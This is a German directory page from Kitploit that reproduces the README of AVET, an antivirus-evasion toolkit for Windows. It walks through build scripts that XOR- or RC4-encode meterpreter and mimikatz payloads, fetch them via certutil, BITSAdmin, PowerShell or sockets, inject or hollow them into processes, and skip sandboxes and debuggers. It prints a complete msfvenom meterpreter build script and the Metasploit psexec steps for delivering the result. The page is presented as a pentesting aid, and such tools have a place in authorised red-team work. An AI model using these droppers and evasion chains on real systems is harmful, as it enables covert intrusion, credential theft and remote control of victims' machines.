Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/govolution/avet
Verschlüsselungs-/EntschlüsselungstoolsExploit-FrameworksPayload-GenerierungIDS/IPS-UmgehungShellcodePenetrationstestsMaschinelles LernenPapers & ForschungLernen & BildungRed TeamingAdversarial-Angriff
1.8k3311vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
govolution/avet

avet

Antivirus-Umgehungstool

Repository anzeigen

AntiVirus Evasion Tool

AVET wird aufgrund technischer Entwicklung und Zeitbeschränkungen nicht weiterentwickelt.

AVET ist ein AntiVirus Evasion Tool, das entwickelt wurde, um Pentestern das Leben zu erleichtern und mit Techniken zur Umgehung von Antivirensoftware sowie anderen Methoden, die von Schadsoftware verwendet werden, zu experimentieren. Eine Übersicht über die neuen Funktionen in v2.4 sowie frühere Versionserweiterungen finden Sie in der CHANGELOG-Datei.

Inhaltsverzeichnis

  • Installation

  • Docker

  • AVET der einfache Weg

  • AVET der normale Weg

  • Dokumentation (klicken zum Erweitern)
    • Datenabrufmethoden
    • Verschlüsselung und Kodierung
    • Sandbox-Umgehung
    • Zusätzliche Befehlsausführung
    • Hilfswerkzeuge
    • AVET & Metasploit psexec
    • Gegnerische Beispiele
  • Mehr

Einige Funktionen

  • Wenn eine mit msfpayload & co erstellte .exe-Datei ausgeführt wird, wird sie oft von Antivirensoftware erkannt
  • AVET ist ein Tool zur Umgehung von Antivirensoftware, das auf Windows-Maschinen mit ausführbaren Dateien abzielt
  • Es können jetzt verschiedene Arten von Eingabe-Payloads verwendet werden: Shellcode, exe und dlls
  • Weitere Techniken verfügbar: Shellcode/DLL-Injection, Process Hollowing und mehr
  • Flexible Abrufmethoden für Payload, Entschlüsselungsschlüssel usw.
  • Verwendung als Dropper
  • Durch Verkettung mehrerer AVET-Instanzen können bei Bedarf mehrere Umgehungsebenen hinzugefügt werden
  • Kombination von Techniken: Laden Sie Ihren verschlüsselten Payload über PowerShell herunter, während Sie den Entschlüsselungsschlüssel zur Ausführungszeit über das Befehlszeilenargument bereitstellen, und injizieren Sie Ihren Payload schließlich in einen anderen Prozess, wobei Sie aus mehreren Techniken wählen können
  • Grundlegende Sandbox-Prüfungen
  • Generierung gegnerischer Beispiele gegen statische Detektoren, die auf maschinellem Lernen basieren
  • Führen Sie alle verfügbaren Build-Skripte mit build_script_tester.py aus. Dies könnte auch für Forscher interessant sein, die eine Reihe von "bösartigen" Beispielen mit verschiedenen Umgehungs- und Injektionstechniken erstellen möchten

Wichtiger Hinweis

Nicht alle Techniken umgehen jede AV-Engine. Wenn eine Technik oder ein Build-Skript nicht funktioniert, testen Sie bitte eine andere. Experimentieren Sie ruhig! Immerhin ist dies ein Werkzeugkasten - den Hammer sollten Sie jedoch selbst führen.

Installation

Die Installationsanleitung gilt für Kali 64bit und tdm-gcc!

Sie können das Setup-Skript verwenden:```bash ./setup.sh

root@kitploit:~
Dies sollte Sie automatisch in Gang bringen, indem wine installiert/konfiguriert und tdm-gcc installiert wird.
Sie werden kurz darauf durch die GUI des tdm-gcc-Installers klicken müssen – die Standardeinstellungen sollten in Ordnung sein.
Das Skript wird auch fragen, ob Sie die Abhängigkeiten von AVET installieren möchten, die für die Verwendung einiger Build-Skripte benötigt werden. Die heruntergeladenen Abhängigkeiten werden in separaten Ordnern neben dem avet-Ordner abgelegt.

Die Abhängigkeiten werden die neuesten Versionen von:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)

Falls Sie aus irgendeinem Grund wine und tdm-gcc manuell installieren möchten:
- [So installieren Sie tdm-gcc mit wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Falls Sie Kali nicht verwenden oder Metasploit nicht auf Ihrem System installieren möchten, können Sie stattdessen den Docker-Container verwenden.
Der Container kapselt Metasploit und avet, und die Beispiele werden in Ihrem aktuellen Verzeichnis erstellt.
Es ist auch möglich, einen grafischen Texteditor wie gedit zu verwenden.

Erstellen des Containers:```bash
sudo docker build -t avet:v0.1 .

Verwendung:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

root@kitploit:~
Für eine bessere Erfahrung wird empfohlen, dies zu aliasen.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET der einfache Weg

avet.py ist ein kleines Python-Dienstprogramm, das entwickelt wurde, um Ihnen bei der Verwendung des Tools zu helfen.

Es listet alle Skripte auf, die sich derzeit im Build-Ordner befinden. Nachdem Sie eines ausgewählt haben, können Sie das Skript Zeile für Zeile durchgehen und haben die Möglichkeit, den Inhalt spontan zu ändern.

Letzteres ist besonders nützlich, da Sie jedes Mal, wenn Sie ein Build-Skript über die Fabric ausführen, neue LHOST- und LPORT-Variablen für msfvenom definieren können. Sie können Standard-LHOST- und LPORT-Werte in der Datei /build/global_connect_config.sh definieren, die verwendet werden, wenn Sie sie nicht neu definieren.

Diese Änderungen sind vorübergehend, was bedeutet, dass alle von Ihnen vorgenommenen Änderungen nicht dauerhaft im Build-Skript auf der Festplatte gespeichert werden. Die modifizierte Version wird einmal ausgeführt und Ihr Executable erstellt.

Hier ist ein kurzes Beispiel (Zum Erweitern klicken):``` python3 avet.py
root@kitploit:~
                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

Tool herunterladen

Which Script would you like to configure and build? Enter the corresponding number -> 43

DESCRIPTION :

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

Configure the Build Script

enable debug output

-> enable_debug_print

generate key file with preset key

-> generate_key preset aabbccdd1122

Do you want to add sandbox evasions? [y/N] -> N

Executable will be created Shortly please wait.

*** ============================================= ***

root@kitploit:~
     .==,_                                          
    .===,_`\\                                        
  .====,_ ` \\      .====,__                         

--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /


|\ __ |\ \ / /|\ \ |_ \ \ \ |\ \ \ \ / / | \ _ |__|\ _| \ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _
\ \ \ \ _\ _\ _/ / \ _\ \ __
|
|||||/ |___| ||

*** ============================================= ***

Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Your executable should be in the output folder!

root@kitploit:~
</details>

## AVET auf normale Weise

Natürlich ist es möglich, alle Befehle Schritt für Schritt über die Befehlszeile auszuführen. Im Ordner "build" finden Sie jedoch vorkonfigurierte Build-Skripte für relevante Anwendungsfälle. 
Die Build-Skripte selbst sind so geschrieben, dass sie aus dem avet-Verzeichnis heraus aufgerufen werden müssen:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh

Sie können Standardwerte für LHOST und LPORT für Metasploit-Payloads in der Datei /build/global_connect_config.sh definieren, die verwendet werden, wenn Sie sie nicht neu definieren.

Anwendungsbeispiele

Generieren Sie eine ausführbare Datei für 32-Bit-Process Hollowing in zwei Schritten (wie in build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):

Erzeugen Sie zunächst das Hollowing-Payload mit AVET:

  • Erzeugen Sie 32-Bit-Shellcode für meterpreter/reverse_https
  • Der meterpreter-Shellcode wird mit einem 5-Byte-Preset-Key XOR-verschlüsselt
  • Der Shellcode wird in die generierte ausführbare Datei kompiliert
  • Vor der Ausführung des Shellcodes werden fopen- und gethostbyname-Umgebungsprüfungen zur Sandbox-Umgehung durchgeführt

Zweitens erstellen Sie die ausführbare „Dropper“-Datei, die das Payload des ersten Schritts per Hollowing bereitstellt:

  • Kompilieren Sie das Payload des ersten Schritts statisch in die ausführbare Datei
  • Das Payload wird mit einem anderen 5-Byte-Preset-Key XOR-verschlüsselt
  • Erneut werden fopen- und gethostbyname-Umgebungsprüfungen zur Sandbox-Umgehung vor dem Hollowing durchgeführt
  • Die PID des Hollowing-Ziels wird zur Laufzeit über ein Befehlszeilenargument übergeben

Sie erhalten also ein zweischichtiges, umgebungsgeprüftes und verschlüsseltes meterpreter-Payload, das in einen Prozess Ihrer Wahl gehollowt wird. Während die Einstellungen im Build-Script hauptsächlich Demonstrationszwecken dienen, gibt es viele Flexibilitätsmöglichkeiten, um Ihre generierte ausführbare Datei durch einfache Änderungen am Build-Script anzupassen.

Sie könnten die Methoden zum Datenabruf austauschen: Anstatt die meisten Daten statisch in die ausführbare Datei zu kompilieren, könnten Sie Ihr Hollowing-Payload per PowerShell herunterladen, den Entschlüsselungsschlüssel per Sockets herunterladen, andere Verschlüsselung oder Umgebungsprüfungen verwenden usw.

Oder versuchen Sie, durch eine dritte Build-Iteration weitere Umgehungsschichten hinzuzufügen. Oder tauschen Sie das Payload aus. Möchten Sie stattdessen Mimikatz verwenden? Konvertieren Sie es über https://github.com/hasherezade/pe_to_shellcode in Shellcode und ändern Sie das Payload im Build-Script.

Natürlich können Sie auch minimalistischere Builds entwerfen, wie die Ausführung von unverschlüsseltem Shellcode mit nur einer Umgebungsprüfung, oder vielleicht reichen 50 Iterationen von Shikata aus, um Ihr Ziel zu erreichen? Wählen/ändern Sie die Build-Scripts passend zu Ihren Bedürfnissen.

Build-Scripts

Im Folgenden finden Sie eine Liste aller derzeit mitgelieferten Build-Scripts. Die Namen sollten auf die Funktionalität jedes Skripts hinweisen. Ausführliche Informationen finden Sie in den Kommentaren in den Skripten. Sie können Ihre eigenen Build-Scripts ändern/schreiben, um Ihre benutzerdefinierte ausführbare Datei zu erstellen!

Zum Erweitern klicken ``` build_40xshikata_revhttpsunstaged_win32.sh build_50xshikata_revhttps_win32.sh build_50xshikata_quiet_revhttps_win32.sh build_asciimsf_fromcmd_revhttps_win32.sh build_asciimsf_revhttps_win32.sh build_avetenc_dynamicfromfile_revhttps_win32.sh build_avetenc_fopen_revhttps_win32.sh build_avetenc_mtrprtrxor_revhttps_win64.sh build_calcfromcmd_50xshikata_revhttps_win32.sh build_calcfrompowersh_50xshikata_revhttps_win32.sh build_cpucores_revhttps_win32.sh build_checkdomain_rc4_mimikatz.sh build_disablewindefpsh_xorfromcmd_revhttps_win64.sh build_dkmc_downloadexecshc_revhttps_win32.sh build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh build_downloadbitsadmin_revhttps_win32.sh build_downloadcertutil_revhttps_win32.sh build_downloadcurl_mtrprtrxor_revhttps_win64.sh build_downloadiexplorer_revhttps_win32.sh build_downloadpsh_revhttps_win32.sh build_downloadsocket_mtrprtrxor_revhttps_win64.sh build_downloadsocket_revhttps_win32.sh build_dynamicfromfile_revhttps_win32.sh build_fibonacci_rc4_mimikatz.sh build_fopen_mtrprtrxor_revhttps_win64.sh build_fopen_quiet_revhttps_win32.sh build_fopen_revhttps_win32.sh build_getchar_rc4_mimikatz.sh build_gethostbyname_revhttps_win32.sh build_hasvmkey_revhttps_win32.sh build_hasvmmac_revtcp_win32.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh build_kaspersky_fopen_shellrevtcp_win32.sh build_mimikatz_pe2shc_xorfromcmd_win64.sh build_pause_rc4_mimikatz.sh build_rc4_interactive_pwsh_mimikatz_win64.sh build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh build_rc4enc_mimikatz_win64.sh build_sleep_rc4_mimikatz.sh build_sleepbyping_rc4_mimikatz.sh build_timedfibonacci_rc4_mimikatz.sh buildsvc_20xshikata_bindtcp_win32.sh ```

Dokumentation

Methoden zum Datenabruf

Diese Methoden sind mit allen Datenquellen von AVET kompatibel und können als solche im Build-Skript verwendet werden.

Einige Beispiele:```

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd

Download 64-bit shellcode via powershell, and execute.

set_payload_source download_powershell set_payload_execution_method exec_shellcode64

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

set_key_source download_socket set_decoder xor

Retrieves the tuple (target PID, dll path) from command line on execution

set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll

root@kitploit:~
Wenn Features übersprungen/nicht verwendet werden, müssen Sie stattdessen ein NOP-ähnliches Verhalten angeben:```
set_command_source no_data
set_command_exec no_command

static_from_file

Die Daten werden aus einer Datei abgerufen und statisch in die generierte ausführbare Datei kompiliert. Damit dies funktioniert, müssen die Daten zur Kompilierzeit als C-ähnliches Array bereitgestellt werden, wie``` unsigned char buf[] = "\x00\x11\x22\x33";

root@kitploit:~
#### static_from_here
Die Daten werden statisch in die generierte ausführbare Datei kompiliert,
aus dem angegebenen Argument im Build-Skript abgerufen.

#### dynamic_from_file
Die Daten werden zur Laufzeit aus einer Datei gelesen.

#### from_command_line_hex
Ruft Daten aus einem Hex-String im Format "11aabb22.." ab (von der Kommandozeile).

#### from_command_line_raw
Ruft Daten aus einem Kommandozeilenargument ab. Der angegebene ASCII-String wird als rohe Byte-Daten interpretiert.

#### download_certutil
Lädt Daten von einer angegebenen URI herunter, mittels ```certutil.exe -urlcache -split -f```.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.

#### download_curl
Lädt die Daten mit curl herunter.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.

#### download_internet_explorer
Lädt Daten von einer angegebenen URL mit Internet Explorer herunter.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.

#### download_powershell
Lädt Daten von einer angegebenen URI über PowerShell herunter.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.

#### download_socket
Lädt die Daten von einer angegebenen URI über Sockets herunter.
Die Daten werden direkt in den Speicher gelesen, es wird keine Datei auf der Festplatte abgelegt.

#### download_bitsadmin
Lädt die Daten mit dem Windows-Dienstprogramm BITSAdmin herunter.
Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab.

### Methoden zur Payload-Ausführung
Wie die Payload ausgeführt/ausgeliefert wird. Die Injektions-/Hollowing-Methoden benötigen zusätzliche Informationen über das Injektionsziel, die über ```set_payload_info_source <the_info>``` angegeben werden können (siehe Datenabrufmethoden).

#### exec_shellcode
Führt 32-Bit-Shellcode mit einer C-Funktionsbindung aus.

#### exec_shellcode64
Führt 64-Bit-Shellcode mit einer C-Funktionsbindung und VirtualProtect aus.

#### exec_shellcode_ASCIIMSF
Führt ASCIIMSF-kodierten Shellcode über ```call eax``` aus.

#### hollowing32
Erzeugt einen neuen Prozess, schneidet das ursprüngliche Image aus und höhlt die angegebene Payload in den neuen Prozess ein.
Die Payload ist ein 32-Bit-Ausführungsimage. Funktioniert auf 32-Bit-Zielen.

#### hollowing64
Gleich wie hollowing32, jedoch mit 64-Bit-PE-Payloads für 64-Bit-Zielprozesse.

#### inject_dll
Injiziert eine DLL in einen Zielprozess mittels ```CreateRemoteThread```.
Die Injektion funktioniert jeweils für 32-Bit-Payloads in 32-Bit-Prozesse und 64-Bit-Payloads in 64-Bit-Prozesse.

#### inject_shellcode
Injiziert Shellcode in einen Zielprozess mittels ```CreateRemoteThread```.
Die Injektion funktioniert jeweils für 32-Bit-Shellcode in 32-Bit-Prozesse und 64-Bit-Shellcode in 64-Bit-Prozesse.

### Verschlüsselung und Kodierung
AVET stellt Encoder für jedes Schema bereit, die vor der Kompilierung/Auslieferung auf die Payload angewendet werden können.
Bei der Ausführung deobfuskiert der angegebene Decoder dann die Payload zur Laufzeit wieder.

Hier ein RC4-Beispiel, bei dem der Entschlüsselungsschlüssel zur Ausführungszeit im Hex-Format von der Kommandozeile abgerufen wird:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4

Sie können die Kodierungsfunktion auch überspringen, indem Sie den Shellcode nicht weiter kodieren und Folgendes festlegen:``` set_key_source no_data set_decoder none

root@kitploit:~
#### xor
Rolling XOR, Unterstützung für Multi-Byte-Schlüssel.

#### avet
Benutzerdefinierte Kodierung, Neuinterpretation des ASCII-Formats.

#### rc4
RC4-Verschlüsselung/-Entschlüsselung mit flexibler Schlüssellänge.

### Debugger- und Sandbox-Umgehung
Dies sind Umgebungsprüfungen, die vor der eventuellen Kodierung und Ausführung der Payload durchgeführt werden.
Wird eine ungünstige Ausführungsumgebung erkannt (z. B. eine AV-Sandbox), wird die Ausführung beendet.

Derzeit können Sie bis zu 10 Prüfungen beliebig in die Warteschlange einreihen. Die mehrmalige Verwendung derselben Technik wird unterstützt.
Das Warteschlangenlimit *EVASION_ARRAY_SIZE* kann jedoch problemlos in *avet.c* geändert werden.

#### is debugger present
Überprüft mit der Funktion isDebuggerPresent(), ob ein Debugger vorhanden ist.
Beendet, wenn zutreffend.```
add_evasion is_debugger_present

sleep

Schlafe für eine bestimmte Zeit vor der Ausführung. Die Dauer(in Sekunden) kann im Build-Skript angegeben werden, wie```

sleep for 3 seconds

add_evasion evasion_by_sleep 3

root@kitploit:~
#### Schlaf durch Ping
Hält die Ausführung des Programms für die angegebenen Sekunden an, indem ein zeitgesteuerter Ping-Befehl an localhost gesendet wird.
Das Programm pingt einmal pro Sekunde.```
add_evasion sleep_by_ping 4

Schnelles Vorwärtsspulen prüfen

Überprüft, ob die Sandbox schnelles Vorwärtsspulen (Fast Forwarding) nutzt, um die Heuristik-Prüfzeit zu reduzieren. Lokale Zeit und Schlaf werden verwendet.``` add_evasion check_fast_forwarding

root@kitploit:~
#### get tickcount
Überprüft, ob die Sandbox Fast Forwarding verwendet, um die Heuristik-Prüfzeit zu reduzieren. Betriebszeit und Sleep werden verwendet.```
add_evasion get_tickcount

Benutzername

Benutzername abrufen und mit angegebenem Benutzernamen vergleichen. Beenden, wenn es nicht übereinstimmt.``` add_evasion has_username 'IEUser'

root@kitploit:~
#### Messagebox
Erzeugt eine einfache Messagebox vor der Ausführung. Wenn die Arithmetik nicht korrekt gelöst wird, beendet sich das Programm.```
add_evasion interaction_msg_box

getchar

Warte, bis die Eingabe mittels getchar geliefert wird.``` add_evasion interaction_getchar

root@kitploit:~
#### system pause
Führt system("pause") aus, was bewirkt, dass die gestartete cmd (und unser Hauptprozess) auf einen beliebigen Tastendruck wartet.```
add_evasion interaction_system_pause

fopen

Überprüft, ob eine Datei existiert. Falls nicht gefunden, Ausführung stoppen. Der Dateiname kann im Build-Skript angegeben werden, wie``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'

root@kitploit:~
#### BIOS-Info
Prüft, ob die SMBIOS-Firmwaretabelle abgerufen werden kann. Stoppt die Ausführung, falls nicht.```
add_evasion get_bios_info

gethostbyname

Versuchen Sie, einen Hostnamen Ihrer Wahl aufzulösen. Wenn gethostbyname einen Wert ungleich NULL zurückgibt, stoppen Sie die Ausführung. Der zu überprüfende Hostname kann im Build-Skript angegeben werden, wie``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'

root@kitploit:~
#### get_cpu_cores
Überprüft die Anzahl der CPU-Kerne auf dem Ziel. Wenn die Anzahl niedriger als der angegebene Wert ist, stoppt die Ausführung.```
add_evasion get_cpu_cores 2

has_vm_mac

Prüft auf herstellerspezifische MAC-Präfixe. Falls welche identifiziert werden, wird die Ausführung gestoppt.``` add_evasion has_vm_mac

root@kitploit:~
#### has_vm_regkey
Überprüft auf herstellerspezifische Registry-Schlüssel. Wenn welche identifiziert werden, wird die Ausführung gestoppt.```
add_evasion has_vm_regkey

hide_console

Keine wirklich echte Umgehungstechnik, verbirgt aber dein Konsolenfenster ;)``` add_evasion hide_console

root@kitploit:~
#### Installationsdatum
Installationsdatum von Windows abrufen und mit dem angegebenen vergleichen. Wenn die Daten nicht übereinstimmen, wird die Ausführung gestoppt. Das Datum muss im Format dd/mm/yyyy angegeben werden.```
add_evasion get_install_date '24/11/2007'

Anzahl der Prozesse

Zählen Sie die Anzahl der laufenden Prozesse. Wenn die Anzahl der Prozesse kleiner als der angegebene Schwellenwert ist, stoppen Sie die Ausführung.``` add_evasion get_num_processes 50

root@kitploit:~
#### Standardbrowser
Lies den Registrierungsschlüssel aus, um den Standardbrowser zu ermitteln. Wenn der Browser nicht mit dem angegebenen Wert übereinstimmt, stoppe die Ausführung. Mögliche Werte sind  MSEdgeHTM, Firefox oder ChromeHTML.```
add_evasion get_standard_browser 'Firefox'

Domain

Fragt die DNS-Domäne ab, in der sich das Ziel befindet. Wenn sich das Ziel nicht in der erwarteten (wie angegebenen) Domäne befindet, wird das Programm beendet.``` add_evasion get_computer_domain 'domain.com'

root@kitploit:~
#### Berechnung
Fibonacci

Berechne angegebene Iterationen der Fibonacci-Reihe.
Wird wahrscheinlich bei größerem n aufgrund von Integer-Grenzen falsche Ergebnisse liefern.```
# 10 iterations
add_evasion computation_fibonacci 10

Zeitgesteuerte Fibonacci```

Stops computation after 20 seconds

add_evasion computation_timed_fibonacci 20

root@kitploit:~
#### Ordner und mehr
Überprüfen, ob das Artefakt existiert, andernfalls Ausführung stoppen. Pfade müssen im Unix-Stil sein.

Hintergrundbild:```
add_evasion has_background_wp

Prüfen auf Ordner:``` add_evasion has_folder 'C:/Users/user/Downloads/'

root@kitploit:~
Auf öffentlichen Desktop prüfen:```
add_evasion has_public_desktop

Auf Papierkorb prüfen``` add_evasion has_recycle_bin

root@kitploit:~
Auf aktuellen Dateiordner prüfen```
add_evasion has_recent_files

Netzwerklaufwerk überprüfen``` add_evasion has_network_drive

root@kitploit:~
### Zusätzliche Befehlsausführung
Ermöglicht es Ihnen, direkt nach den eventuellen Sandbox-Umgehungsfunktionen eine zusätzliche cmd/powershell-Payload auszuführen.
Die Payload-Quelle ist kompatibel mit den Datenabrufmethoden von AVET.

Das folgende Beispiel lädt eine powershell-Payload über BITSAdmin herunter:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell

Hilfsprogramme

data_raw_to_c

Nimmt Rohdaten aus einer Datei entgegen, konvertiert sie in das C-Array-Format und schreibt die Ausgabe in eine andere Datei. Dies hilft, das korrekte Format für die Datenabrufmethode static_from_file bereitzustellen.

generate_key

Dienstprogramm zur Schlüsselerzeugung. Erzeugt entweder einen (nicht kryptografisch sicheren) zufälligen Schlüssel oder nimmt einen voreingestellten Schlüssel entgegen und gibt die Rohschlüsseldaten in eine angegebene Datei aus. Dies hilft, Schlüsselmaterial für die AVET-Verschlüsselungsfunktion bereitzustellen.

sh_format

Dienstprogramm aus AVET 1.3, das die AVET-Kodierung durchführt.

AVET & Metasploit psexec

AVET ist kompatibel mit dem psexec-Modul von Metasploit. Dazu muss die generierte ausführbare Datei als Windows-Dienst kompiliert werden, was durch die Verwendung von avetsvc.c implementiert wird. Betrachten Sie das entsprechende Beispiel-Build-Skript

build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash

Designed for use with msf psexec module!

print AVET logo

cat banner.txt

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

. build/global_win32.sh

import global default lhost and lport values from build/global_connect_config.sh

. build/global_connect_config.sh

override connect-back settings here, if necessary

LPORT=$GLOBAL_LPORT

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt

import feature construction interface

. build/feature_construction.sh

add evasion techniques

add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'

generate key file

generate_key preset aabbcc12de input/key_raw.txt

encode shellcode

encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt

array name buf is expected by static_from_file retrieval method

./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf

no command preexec

set_command_source no_data set_command_exec no_command

set shellcode source

set_payload_source static_from_file input/scenc_c.txt

convert generated key from raw to C into array "key"

./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key

set key source

set_key_source static_from_file input/key_c.txt

set payload info source

set_payload_info_source no_data

set decoder

set_decoder xor

set shellcode binding technique

set_payload_execution_method exec_shellcode

enable debug printing

enable_debug_print to_file C:/avetdbg.txt

compile as service

$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe

cleanup

cleanup_techniques

root@kitploit:~
Und auf der metasploit-Seite:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
